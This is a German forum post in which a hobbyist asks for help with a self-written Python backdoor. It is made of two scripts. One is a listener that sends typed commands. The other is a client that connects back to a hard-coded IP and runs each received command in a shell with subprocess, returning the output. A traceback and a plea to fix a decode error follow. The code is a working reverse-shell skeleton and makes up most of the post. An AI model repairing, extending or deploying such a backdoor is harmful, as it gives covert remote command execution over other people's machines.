ich habe mich in letzter Zeit ein wenig mit Python Hacking beschäftigt und habe versucht eine Backdoor zu schreiben mit zwei scripts:
1. Backdoor-Sender:
Code: Alles auswählen
import socket
host = ''
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print ("Connection established to " + str(addr[0]))
data = connection.recv(256)
print(bytes.decode(data))
while True:
cmd = input("Command: ")
connection.send(bytes.decode(cmd).strip())
data = connection.recv(256)
print(data)
Code: Alles auswählen
import socket
import subprocess
host = '192.168.10.103'
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str.encode("Backdoor running."))
while True:
data = s.recv(256)
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stdin=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = proc.stderr.read()
s.send(stdout)
Traceback (most recent call last):
File "/Users/antonwiederhold/Desktop/Python_Hacking/backdoor/backdoor sender.py", line 20, in <module>
connection.send(bytes.decode(cmd))
TypeError: descriptor 'decode' requires a 'bytes' object but received a 'str'
Ich verstehe zwar die Fehlermeldung jedoch kann ich sie leider nicht umsetzen.
Vielen Dank schonmal
Antonio
